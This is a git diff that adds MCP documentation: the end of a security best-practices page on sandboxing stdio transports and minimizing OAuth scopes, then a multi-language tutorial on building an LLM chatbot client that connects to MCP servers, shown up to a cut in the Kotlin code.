+* Use Content Security Policy (CSP) to prevent JavaScript execution from untrusted sources
+* Validate and sanitize all input from MCP servers before processing
+
+Since XSS fundamentally compromises the client's security context, focus on limiting the damage:
+
+**stdio Transport Restrictions**
+
+MCP proxy services **SHOULD** implement additional security controls for `stdio` transport:
+
+* Implement sandboxing or containerization for spawned processes
+* Restrict file system access for spawned MCP servers
+* Log all `stdio` transport usage for security monitoring
+* Require additional authorization for potentially dangerous commands
+
+**Client-Side Protections**
+
+MCP clients **SHOULD** implement defense-in-depth measures:
+
+* Isolate proxy communication in a separate security context when possible
+* Use principle of least privilege for proxy process permissions
+* Implement process-level sandboxing for the proxy service itself
+* Consider running the proxy in a container or restricted environment
+
+### Scope Minimization
+
+Poor scope design increases token compromise impact, elevates user
+friction, and obscures audit trails.
+
+#### Attack Description
+
+An attacker obtains (via log leakage, memory scraping, or local
+interception) an access token carrying broad scopes (`files:*`, `db:*`,
+`admin:*`) that were granted up front because the MCP server exposed
+every scope in `scopes_supported` and the client requested them all.
+The token enables lateral data access, privilege chaining, and difficult
+revocation without re-consenting the entire surface.
+
+#### Risks
+
+* Expanded blast radius: stolen broad token enables unrelated
+ tool/resource access
+* Higher friction on revocation: revoking a max-privilege token disrupts
+ all workflows
+* Audit noise: single omnibus scope masks user intent per operation
+* Privilege chaining: attacker can immediately invoke high-risk tools
+ without further elevation prompts
+* Consent abandonment: users decline dialogs listing excessive scopes
+* Scope inflation blindness: lack of metrics makes over-broad requests
+ normalised
+
+#### Mitigation
+
+Implement a progressive, least-privilege scope model:
+
+* Minimal initial scope set (e.g., `mcp:tools-basic`) containing only
+ low-risk discovery/read operations
+* Incremental elevation via targeted `WWW-Authenticate` `scope="..."`
+ challenges when privileged operations are first attempted
+* Down-scoping tolerance: server should accept reduced scope tokens;
+ auth server MAY issue a subset of requested scopes
+
+Server guidance:
+
+* Emit precise scope challenges; avoid returning the full catalog
+* Log elevation events (scope requested, granted subset) with
+ correlation IDs
+
+Client guidance:
+
+* Begin with only baseline scopes (or those specified by initial
+ `WWW-Authenticate`)
+* Cache recent failures to avoid repeated elevation loops for denied
+ scopes
+
+#### Common Mistakes
+
+* Publishing all possible scopes in `scopes_supported`
+* Using wildcard or omnibus scopes (`*`, `all`, `full-access`)
+* Bundling unrelated privileges to preempt future prompts
+* Returning entire scope catalog in every challenge
+* Silent scope semantic changes without versioning
+* Treating claimed scopes in token as sufficient without server-side
+ authorization logic
+
+Proper minimization constrains compromise impact, improves audit
+clarity, and reduces consent churn.
diff --git a/content/mcp/docs/2025-03-26/develop/build-client.md b/content/mcp/docs/2025-03-26/develop/build-client.md
new file mode 100644
index 000000000..6291991e0
--- /dev/null
+++ b/content/mcp/docs/2025-03-26/develop/build-client.md
@@ -0,0 +1,2514 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Build an MCP client
+
+> Get started building your own client that can integrate with all MCP servers.
+
+In this tutorial, you'll learn how to build an LLM-powered chatbot client that connects to MCP servers.
+
+Before you begin, it helps to have gone through our [Build an MCP Server](/docs/2025-03-26/develop/build-server) tutorial so you can understand how clients and servers communicate.
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-python)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Mac or Windows computer
+ * Latest Python version installed
+ * Latest version of `uv` installed
+
+ ## Setting Up Your Environment
+
+ First, create a new Python project with `uv`:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create project directory
+ uv init mcp-client
+ cd mcp-client
+
+ # Create virtual environment
+ uv venv
+
+ # Activate virtual environment
+ source .venv/bin/activate
+
+ # Install required packages
+ uv add mcp anthropic python-dotenv
+
+ # Remove boilerplate files
+ rm main.py
+
+ # Create our main file
+ touch client.py
+ ```
+
+ ```powershell Windows theme={null}
+ # Create project directory
+ uv init mcp-client
+ cd mcp-client
+
+ # Create virtual environment
+ uv venv
+
+ # Activate virtual environment
+ .venv\Scripts\activate
+
+ # Install required packages
+ uv add mcp anthropic python-dotenv
+
+ # Remove boilerplate files
+ del main.py
+
+ # Create our main file
+ new-item client.py
+ ```
+
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's set up our imports and create the basic client class:
+
+ ```python theme={null}
+ import asyncio
+ from typing import Optional
+ from contextlib import AsyncExitStack
+
+ from mcp import ClientSession, StdioServerParameters
+ from mcp.client.stdio import stdio_client
+
+ from anthropic import Anthropic
+ from dotenv import load_dotenv
+
+ load_dotenv() # load environment variables from .env
+
+ class MCPClient:
+ def __init__(self):
+ # Initialize session and client objects
+ self.session: Optional[ClientSession] = None
+ self.exit_stack = AsyncExitStack()
+ self.anthropic = Anthropic()
+ # methods will go here
+ ```
+
+ ### Server Connection Management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```python theme={null}
+ async def connect_to_server(self, server_script_path: str):
+ """Connect to an MCP server
+
+ Args:
+ server_script_path: Path to the server script (.py or .js)
+ """
+ is_python = server_script_path.endswith('.py')
+ is_js = server_script_path.endswith('.js')
+ if not (is_python or is_js):
+ raise ValueError("Server script must be a .py or .js file")
+
+ command = "python" if is_python else "node"
+ server_params = StdioServerParameters(
+ command=command,
+ args=[server_script_path],
+ env=None
+ )
+
+ stdio_transport = await self.exit_stack.enter_async_context(stdio_client(server_params))
+ self.stdio, self.write = stdio_transport
+ self.session = await self.exit_stack.enter_async_context(ClientSession(self.stdio, self.write))
+
+ await self.session.initialize()
+
+ # List available tools
+ response = await self.session.list_tools()
+ tools = response.tools
+ print("\nConnected to server with tools:", [tool.name for tool in tools])
+ ```
+
+ ### Query Processing Logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```python theme={null}
+ async def process_query(self, query: str) -> str:
+ """Process a query using Claude and available tools"""
+ messages = [
+ {
+ "role": "user",
+ "content": query
+ }
+ ]
+
+ response = await self.session.list_tools()
+ available_tools = [{
+ "name": tool.name,
+ "description": tool.description,
+ "input_schema": tool.inputSchema
+ } for tool in response.tools]
+
+ # Initial Claude API call
+ response = self.anthropic.messages.create(
+ model="claude-sonnet-4-20250514",
+ max_tokens=1000,
+ messages=messages,
+ tools=available_tools
+ )
+
+ # Process response and handle tool calls
+ final_text = []
+
+ assistant_message_content = []
+ for content in response.content:
+ if content.type == 'text':
+ final_text.append(content.text)
+ assistant_message_content.append(content)
+ elif content.type == 'tool_use':
+ tool_name = content.name
+ tool_args = content.input
+
+ # Execute tool call
+ result = await self.session.call_tool(tool_name, tool_args)
+ final_text.append(f"[Calling tool {tool_name} with args {tool_args}]")
+
+ assistant_message_content.append(content)
+ messages.append({
+ "role": "assistant",
+ "content": assistant_message_content
+ })
+ messages.append({
+ "role": "user",
+ "content": [
+ {
+ "type": "tool_result",
+ "tool_use_id": content.id,
+ "content": result.content
+ }
+ ]
+ })
+
+ # Get next response from Claude
+ response = self.anthropic.messages.create(
+ model="claude-sonnet-4-20250514",
+ max_tokens=1000,
+ messages=messages,
+ tools=available_tools
+ )
+
+ final_text.append(response.content[0].text)
+
+ return "\n".join(final_text)
+ ```
+
+ ### Interactive Chat Interface
+
+ Now we'll add the chat loop and cleanup functionality:
+
+ ```python theme={null}
+ async def chat_loop(self):
+ """Run an interactive chat loop"""
+ print("\nMCP Client Started!")
+ print("Type your queries or 'quit' to exit.")
+
+ while True:
+ try:
+ query = input("\nQuery: ").strip()
+
+ if query.lower() == 'quit':
+ break
+
+ response = await self.process_query(query)
+ print("\n" + response)
+
+ except Exception as e:
+ print(f"\nError: {str(e)}")
+
+ async def cleanup(self):
+ """Clean up resources"""
+ await self.exit_stack.aclose()
+ ```
+
+ ### Main Entry Point
+
+ Finally, we'll add the main execution logic:
+
+ ```python theme={null}
+ async def main():
+ if len(sys.argv) < 2:
+ print("Usage: python client.py ")
+ sys.exit(1)
+
+ client = MCPClient()
+ try:
+ await client.connect_to_server(sys.argv[1])
+ await client.chat_loop()
+ finally:
+ await client.cleanup()
+
+ if __name__ == "__main__":
+ import sys
+ asyncio.run(main())
+ ```
+
+ You can find the complete `client.py` file [here](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-python/client.py).
+
+ ## Key Components Explained
+
+ ### 1. Client Initialization
+
+ * The `MCPClient` class initializes with session management and API clients
+ * Uses `AsyncExitStack` for proper resource management
+ * Configures the Anthropic client for Claude interactions
+
+ ### 2. Server Connection
+
+ * Supports both Python and Node.js servers
+ * Validates server script type
+ * Sets up proper communication channels
+ * Initializes the session and lists available tools
+
+ ### 3. Query Processing
+
+ * Maintains conversation context
+ * Handles Claude's responses and tool calls
+ * Manages the message flow between Claude and tools
+ * Combines results into a coherent response
+
+ ### 4. Interactive Interface
+
+ * Provides a simple command-line interface
+ * Handles user input and displays responses
+ * Includes basic error handling
+ * Allows graceful exit
+
+ ### 5. Resource Management
+
+ * Proper cleanup of resources
+ * Error handling for connection issues
+ * Graceful shutdown procedures
+
+ ## Common Customization Points
+
+ 1. **Tool Handling**
+ * Modify `process_query()` to handle specific tool types
+ * Add custom error handling for tool calls
+ * Implement tool-specific response formatting
+
+ 2. **Response Processing**
+ * Customize how tool results are formatted
+ * Add response filtering or transformation
+ * Implement custom logging
+
+ 3. **User Interface**
+ * Add a GUI or web interface
+ * Implement rich console output
+ * Add command history or auto-completion
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ uv run client.py path/to/server.py # python server
+ uv run client.py path/to/build/index.js # node server
+ ```
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python), your command might look something like this: `python client.py .../quickstart-resources/weather-server-python/weather.py`
+
+
+ The client will:
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ Here's an example of what it should look like if connected to the weather server from the server quickstart:
+
+
+
+
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client gets the list of available tools from the server
+ 2. Your query is sent to Claude along with tool descriptions
+ 3. Claude decides which tools (if any) to use
+ 4. The client executes any requested tool calls through the server
+ 5. Results are sent back to Claude
+ 6. Claude provides a natural language response
+ 7. The response is displayed to you
+
+ ## Best practices
+
+ 1. **Error Handling**
+ * Always wrap tool calls in try-catch blocks
+ * Provide meaningful error messages
+ * Gracefully handle connection issues
+
+ 2. **Resource Management**
+ * Use `AsyncExitStack` for proper cleanup
+ * Close connections when done
+ * Handle server disconnections
+
+ 3. **Security**
+ * Store API keys securely in `.env`
+ * Validate server responses
+ * Be cautious with tool permissions
+
+ ## Troubleshooting
+
+ ### Server Path Issues
+
+ * Double-check the path to your server script is correct
+ * Use the absolute path if the relative path isn't working
+ * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
+ * Verify the server file has the correct extension (.py for Python or .js for Node.js)
+
+ Example of correct path usage:
+
+ ```bash theme={null}
+ # Relative path
+ uv run client.py ./server/weather.py
+
+ # Absolute path
+ uv run client.py /Users/username/projects/mcp-server/weather.py
+
+ # Windows path (either format works)
+ uv run client.py C:/projects/mcp-server/weather.py
+ uv run client.py C:\\projects\\mcp-server\\weather.py
+ ```
+
+ ### Response Timing
+
+ * The first response might take up to 30 seconds to return
+ * This is normal and happens while:
+ * The server initializes
+ * Claude processes the query
+ * Tools are being executed
+ * Subsequent responses are typically faster
+ * Don't interrupt the process during this initial waiting period
+
+ ### Common Error Messages
+
+ If you see:
+
+ * `FileNotFoundError`: Check your server path
+ * `Connection refused`: Ensure the server is running and the path is correct
+ * `Tool execution failed`: Verify the tool's required environment variables are set
+ * `Timeout error`: Consider increasing the timeout in your client configuration
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-typescript)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Mac or Windows computer
+ * Node.js 17 or higher installed
+ * Latest version of `npm` installed
+ * Anthropic API key (Claude)
+
+ ## Setting Up Your Environment
+
+ First, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create project directory
+ mkdir mcp-client-typescript
+ cd mcp-client-typescript
+
+ # Initialize npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @anthropic-ai/sdk @modelcontextprotocol/sdk dotenv
+
+ # Install dev dependencies
+ npm install -D @types/node typescript
+
+ # Create source file
+ touch index.ts
+ ```
+
+ ```powershell Windows theme={null}
+ # Create project directory
+ md mcp-client-typescript
+ cd mcp-client-typescript
+
+ # Initialize npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @anthropic-ai/sdk @modelcontextprotocol/sdk dotenv
+
+ # Install dev dependencies
+ npm install -D @types/node typescript
+
+ # Create source file
+ new-item index.ts
+ ```
+
+
+ Update your `package.json` to set `type: "module"` and a build script:
+
+ ```json package.json theme={null}
+ {
+ "type": "module",
+ "scripts": {
+ "build": "tsc && chmod 755 build/index.js"
+ }
+ }
+ ```
+
+ Create a `tsconfig.json` in the root of your project:
+
+ ```json tsconfig.json theme={null}
+ {
+ "compilerOptions": {
+ "target": "ES2022",
+ "module": "Node16",
+ "moduleResolution": "Node16",
+ "outDir": "./build",
+ "rootDir": "./",
+ "strict": true,
+ "esModuleInterop": true,
+ "skipLibCheck": true,
+ "forceConsistentCasingInFileNames": true
+ },
+ "include": ["index.ts"],
+ "exclude": ["node_modules"]
+ }
+ ```
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's set up our imports and create the basic client class in `index.ts`:
+
+ ```typescript theme={null}
+ import { Anthropic } from "@anthropic-ai/sdk";
+ import {
+ MessageParam,
+ Tool,
+ } from "@anthropic-ai/sdk/resources/messages/messages.mjs";
+ import { Client } from "@modelcontextprotocol/sdk/client/index.js";
+ import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
+ import readline from "readline/promises";
+ import dotenv from "dotenv";
+
+ dotenv.config();
+
+ const ANTHROPIC_API_KEY = process.env.ANTHROPIC_API_KEY;
+ if (!ANTHROPIC_API_KEY) {
+ throw new Error("ANTHROPIC_API_KEY is not set");
+ }
+
+ class MCPClient {
+ private mcp: Client;
+ private anthropic: Anthropic;
+ private transport: StdioClientTransport | null = null;
+ private tools: Tool[] = [];
+
+ constructor() {
+ this.anthropic = new Anthropic({
+ apiKey: ANTHROPIC_API_KEY,
+ });
+ this.mcp = new Client({ name: "mcp-client-cli", version: "1.0.0" });
+ }
+ // methods will go here
+ }
+ ```
+
+ ### Server Connection Management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```typescript theme={null}
+ async connectToServer(serverScriptPath: string) {
+ try {
+ const isJs = serverScriptPath.endsWith(".js");
+ const isPy = serverScriptPath.endsWith(".py");
+ if (!isJs && !isPy) {
+ throw new Error("Server script must be a .js or .py file");
+ }
+ const command = isPy
+ ? process.platform === "win32"
+ ? "python"
+ : "python3"
+ : process.execPath;
+
+ this.transport = new StdioClientTransport({
+ command,
+ args: [serverScriptPath],
+ });
+ await this.mcp.connect(this.transport);
+
+ const toolsResult = await this.mcp.listTools();
+ this.tools = toolsResult.tools.map((tool) => {
+ return {
+ name: tool.name,
+ description: tool.description,
+ input_schema: tool.inputSchema,
+ };
+ });
+ console.log(
+ "Connected to server with tools:",
+ this.tools.map(({ name }) => name)
+ );
+ } catch (e) {
+ console.log("Failed to connect to MCP server: ", e);
+ throw e;
+ }
+ }
+ ```
+
+ ### Query Processing Logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```typescript theme={null}
+ async processQuery(query: string) {
+ const messages: MessageParam[] = [
+ {
+ role: "user",
+ content: query,
+ },
+ ];
+
+ const response = await this.anthropic.messages.create({
+ model: "claude-sonnet-4-20250514",
+ max_tokens: 1000,
+ messages,
+ tools: this.tools,
+ });
+
+ const finalText = [];
+
+ for (const content of response.content) {
+ if (content.type === "text") {
+ finalText.push(content.text);
+ } else if (content.type === "tool_use") {
+ const toolName = content.name;
+ const toolArgs = content.input as { [x: string]: unknown } | undefined;
+
+ const result = await this.mcp.callTool({
+ name: toolName,
+ arguments: toolArgs,
+ });
+ finalText.push(
+ `[Calling tool ${toolName} with args ${JSON.stringify(toolArgs)}]`
+ );
+
+ messages.push({
+ role: "user",
+ content: result.content as string,
+ });
+
+ const response = await this.anthropic.messages.create({
+ model: "claude-sonnet-4-20250514",
+ max_tokens: 1000,
+ messages,
+ });
+
+ finalText.push(
+ response.content[0].type === "text" ? response.content[0].text : ""
+ );
+ }
+ }
+
+ return finalText.join("\n");
+ }
+ ```
+
+ ### Interactive Chat Interface
+
+ Now we'll add the chat loop and cleanup functionality:
+
+ ```typescript theme={null}
+ async chatLoop() {
+ const rl = readline.createInterface({
+ input: process.stdin,
+ output: process.stdout,
+ });
+
+ try {
+ console.log("\nMCP Client Started!");
+ console.log("Type your queries or 'quit' to exit.");
+
+ while (true) {
+ const message = await rl.question("\nQuery: ");
+ if (message.toLowerCase() === "quit") {
+ break;
+ }
+ const response = await this.processQuery(message);
+ console.log("\n" + response);
+ }
+ } finally {
+ rl.close();
+ }
+ }
+
+ async cleanup() {
+ await this.mcp.close();
+ }
+ ```
+
+ ### Main Entry Point
+
+ Finally, we'll add the main execution logic:
+
+ ```typescript theme={null}
+ async function main() {
+ if (process.argv.length < 3) {
+ console.log("Usage: node index.ts ");
+ return;
+ }
+ const mcpClient = new MCPClient();
+ try {
+ await mcpClient.connectToServer(process.argv[2]);
+ await mcpClient.chatLoop();
+ } catch (e) {
+ console.error("Error:", e);
+ await mcpClient.cleanup();
+ process.exit(1);
+ } finally {
+ await mcpClient.cleanup();
+ process.exit(0);
+ }
+ }
+
+ main();
+ ```
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ # Build TypeScript
+ npm run build
+
+ # Run the client
+ node build/index.js path/to/server.py # python server
+ node build/index.js path/to/build/index.js # node server
+ ```
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript), your command might look something like this: `node build/index.js .../quickstart-resources/weather-server-typescript/build/index.js`
+
+
+ **The client will:**
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client gets the list of available tools from the server
+ 2. Your query is sent to Claude along with tool descriptions
+ 3. Claude decides which tools (if any) to use
+ 4. The client executes any requested tool calls through the server
+ 5. Results are sent back to Claude
+ 6. Claude provides a natural language response
+ 7. The response is displayed to you
+
+ ## Best practices
+
+ 1. **Error Handling**
+ * Use TypeScript's type system for better error detection
+ * Wrap tool calls in try-catch blocks
+ * Provide meaningful error messages
+ * Gracefully handle connection issues
+
+ 2. **Security**
+ * Store API keys securely in `.env`
+ * Validate server responses
+ * Be cautious with tool permissions
+
+ ## Troubleshooting
+
+ ### Server Path Issues
+
+ * Double-check the path to your server script is correct
+ * Use the absolute path if the relative path isn't working
+ * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
+ * Verify the server file has the correct extension (.js for Node.js or .py for Python)
+
+ Example of correct path usage:
+
+ ```bash theme={null}
+ # Relative path
+ node build/index.js ./server/build/index.js
+
+ # Absolute path
+ node build/index.js /Users/username/projects/mcp-server/build/index.js
+
+ # Windows path (either format works)
+ node build/index.js C:/projects/mcp-server/build/index.js
+ node build/index.js C:\\projects\\mcp-server\\build\\index.js
+ ```
+
+ ### Response Timing
+
+ * The first response might take up to 30 seconds to return
+ * This is normal and happens while:
+ * The server initializes
+ * Claude processes the query
+ * Tools are being executed
+ * Subsequent responses are typically faster
+ * Don't interrupt the process during this initial waiting period
+
+ ### Common Error Messages
+
+ If you see:
+
+ * `Error: Cannot find module`: Check your build folder and ensure TypeScript compilation succeeded
+ * `Connection refused`: Ensure the server is running and the path is correct
+ * `Tool execution failed`: Verify the tool's required environment variables are set
+ * `ANTHROPIC_API_KEY is not set`: Check your .env file and environment variables
+ * `TypeError`: Ensure you're using the correct types for tool arguments
+ * `BadRequestError`: Ensure you have enough credits to access the Anthropic API
+
+
+
+
+ This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters.
+ To learn how to create sync and async MCP Clients manually, consult the [Java SDK Client](https://java.sdk.modelcontextprotocol.io/) documentation
+
+
+ This example demonstrates how to build an interactive chatbot that combines Spring AI's Model Context Protocol (MCP) with the [Brave Search MCP Server](https://github.com/modelcontextprotocol/servers-archived/tree/main/src/brave-search). The application creates a conversational interface powered by Anthropic's Claude AI model that can perform internet searches through Brave Search, enabling natural language interactions with real-time web data.
+ [You can find the complete code for this tutorial here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/web-search/brave-chatbot)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Java 17 or higher
+ * Maven 3.6+
+ * npx package manager
+ * Anthropic API key (Claude)
+ * Brave Search API key
+
+ ## Setting Up Your Environment
+
+ 1. Install npx (Node Package eXecute):
+ First, make sure to install [npm](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm)
+ and then run:
+
+ ```bash theme={null}
+ npm install -g npx
+ ```
+
+ 2. Clone the repository:
+
+ ```bash theme={null}
+ git clone https://github.com/spring-projects/spring-ai-examples.git
+ cd model-context-protocol/web-search/brave-chatbot
+ ```
+
+ 3. Set up your API keys:
+
+ ```bash theme={null}
+ export ANTHROPIC_API_KEY='your-anthropic-api-key-here'
+ export BRAVE_API_KEY='your-brave-api-key-here'
+ ```
+
+ 4. Build the application:
+
+ ```bash theme={null}
+ ./mvnw clean install
+ ```
+
+ 5. Run the application using Maven:
+ ```bash theme={null}
+ ./mvnw spring-boot:run
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` and `BRAVE_API_KEY` keys secure!
+
+
+ ## How it Works
+
+ The application integrates Spring AI with the Brave Search MCP server through several components:
+
+ ### MCP Client Configuration
+
+ 1. Required dependencies in pom.xml:
+
+ ```xml theme={null}
+
+ org.springframework.ai
+ spring-ai-starter-mcp-client
+
+
+ org.springframework.ai
+ spring-ai-starter-model-anthropic
+
+ ```
+
+ 2. Application properties (application.yml):
+
+ ```yml theme={null}
+ spring:
+ ai:
+ mcp:
+ client:
+ enabled: true
+ name: brave-search-client
+ version: 1.0.0
+ type: SYNC
+ request-timeout: 20s
+ stdio:
+ root-change-notification: true
+ servers-configuration: classpath:/mcp-servers-config.json
+ toolcallback:
+ enabled: true
+ anthropic:
+ api-key: ${ANTHROPIC_API_KEY}
+ ```
+
+ This activates the `spring-ai-starter-mcp-client` to create one or more `McpClient`s based on the provided server configuration.
+ The `spring.ai.mcp.client.toolcallback.enabled=true` property enables the tool callback mechanism, that automatically registers all MCP tool as spring ai tools.
+ It is disabled by default.
+
+ 3. MCP Server Configuration (`mcp-servers-config.json`):
+
+ ```json theme={null}
+ {
+ "mcpServers": {
+ "brave-search": {
+ "command": "npx",
+ "args": ["-y", "@modelcontextprotocol/server-brave-search"],
+ "env": {
+ "BRAVE_API_KEY": ""
+ }
+ }
+ }
+ }
+ ```
+
+ ### Chat Implementation
+
+ The chatbot is implemented using Spring AI's ChatClient with MCP tool integration:
+
+ ```java theme={null}
+ var chatClient = chatClientBuilder
+ .defaultSystem("You are useful assistant, expert in AI and Java.")
+ .defaultToolCallbacks((Object[]) mcpToolAdapter.toolCallbacks())
+ .defaultAdvisors(new MessageChatMemoryAdvisor(new InMemoryChatMemory()))
+ .build();
+ ```
+
+ Key features:
+
+ * Uses Claude AI model for natural language understanding
+ * Integrates Brave Search through MCP for real-time web search capabilities
+ * Maintains conversation memory using InMemoryChatMemory
+ * Runs as an interactive command-line application
+
+ ### Build and run
+
+ ```bash theme={null}
+ ./mvnw clean install
+ java -jar ./target/ai-mcp-brave-chatbot-0.0.1-SNAPSHOT.jar
+ ```
+
+ or
+
+ ```bash theme={null}
+ ./mvnw spring-boot:run
+ ```
+
+ The application will start an interactive chat session where you can ask questions. The chatbot will use Brave Search when it needs to find information from the internet to answer your queries.
+
+ The chatbot can:
+
+ * Answer questions using its built-in knowledge
+ * Perform web searches when needed using Brave Search
+ * Remember context from previous messages in the conversation
+ * Combine information from multiple sources to provide comprehensive answers
+
+ ### Advanced Configuration
+
+ The MCP client supports additional configuration options:
+
+ * Client customization through `McpSyncClientCustomizer` or `McpAsyncClientCustomizer`
+ * Multiple clients with multiple transport types: `STDIO` and `SSE` (Server-Sent Events)
+ * Integration with Spring AI's tool execution framework
+ * Automatic client initialization and lifecycle management
+
+ For WebFlux-based applications, you can use the WebFlux starter instead:
+
+ ```xml theme={null}
+
+ org.springframework.ai
+ spring-ai-mcp-client-webflux-spring-boot-starter
+
+ ```
+
+ This provides similar functionality but uses a WebFlux-based SSE transport implementation, recommended for production deployments.
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/kotlin-mcp-client)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * JDK 11 or higher
+ * Anthropic API key (Claude)
+
+ ## Setting up your environment
+
+ First, let's install `java` and `gradle` if you haven't already.
+ You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/).
+ Verify your `java` installation:
+
+ ```bash theme={null}
+ java --version
+ ```
+
+ Now, let's create and set up your project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir kotlin-mcp-client
+ cd kotlin-mcp-client
+
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md kotlin-mcp-client
+ cd kotlin-mcp-client
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+
+ After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language.
+
+ Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html).
+
+ After creating the project, replace the contents of your `build.gradle.kts` with:
+
+ ```kotlin build.gradle.kts theme={null}
+ // Check latest versions at https://github.com/modelcontextprotocol/kotlin-sdk/releases
+ val mcpVersion = "0.9.0"
+ val ktorVersion = "3.2.3"
+ val anthropicVersion = "2.15.0"
+ val slf4jVersion = "2.0.17"
+
+ plugins {
+ kotlin("jvm") version "2.3.20"
+ id("com.gradleup.shadow") version "8.3.9"
+ application
+ }
+
+ application {
+ mainClass.set("MainKt")
+ }
+
+ dependencies {
+ implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion")
+ implementation("io.ktor:ktor-client-cio:$ktorVersion")
+ implementation("com.anthropic:anthropic-java:$anthropicVersion")
+ implementation("org.slf4j:slf4j-simple:$slf4jVersion")
+ }
+ ```
+
+ Verify that everything is set up correctly:
+
+ ```bash theme={null}
+ ./gradlew build
+ ```
+
+ ## Setting up your API key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Set up your API key:
+
+ ```bash theme={null}
+ export ANTHROPIC_API_KEY='your-anthropic-api-key-here'
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's create the basic client class:
+
+ ```kotlin theme={null}
+ class MCPClient(apiKey: String) : AutoCloseable {
+ private val anthropic = AnthropicOkHttpClient.builder()
+ .apiKey(apiKey)
+ .build()
+
+ private val mcp: Client = Client(
+ clientInfo = Implementation(name = "mcp-client-cli", version = "1.0.0")
+ )
+ private var serverProcess: Process? = null
+ private lateinit var tools: List
+
+ // methods will go here
+
+ override fun close() {
+ runBlocking {
+ mcp.close()
+ }
+ serverProcess?.destroy()
+ anthropic.close()
+ }
+ }
+ ```
+
+ ### Server connection management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```kotlin theme={null}
+ suspend fun connectToServer(serverScriptPath: String) {
+ val command = buildList {
+ when (serverScriptPath.substringAfterLast(".")) {
+ "js" -> add("node")
+ "py" -> add(if (System.getProperty("os.name").lowercase().contains("win")) "python" else "python3")
+ "jar" -> addAll(listOf("java", "-jar"))
+ else -> throw IllegalArgumentException("Server script must be a .js, .py or .jar file")
+ }
+ add(serverScriptPath)
+ }
+
+ val process = ProcessBuilder(command).start()
+ serverProcess = process
+
+ val transport = StdioClientTransport(
+ input = process.inputStream.asSource().buffered(),
+ output = process.outputStream.asSink().buffered(),
+ )
+
+ mcp.connect(transport)
+
+ val toolsResult = mcp.listTools()
+ tools = toolsResult.tools.map { tool ->
+ ToolUnion.ofTool(
+ Tool.builder()
+ .name(tool.name)
+ .description(tool.description ?: "")
+ .inputSchema(
+ Tool.InputSchema.builder()
+ .type(JsonValue.from(tool.inputSchema.type))
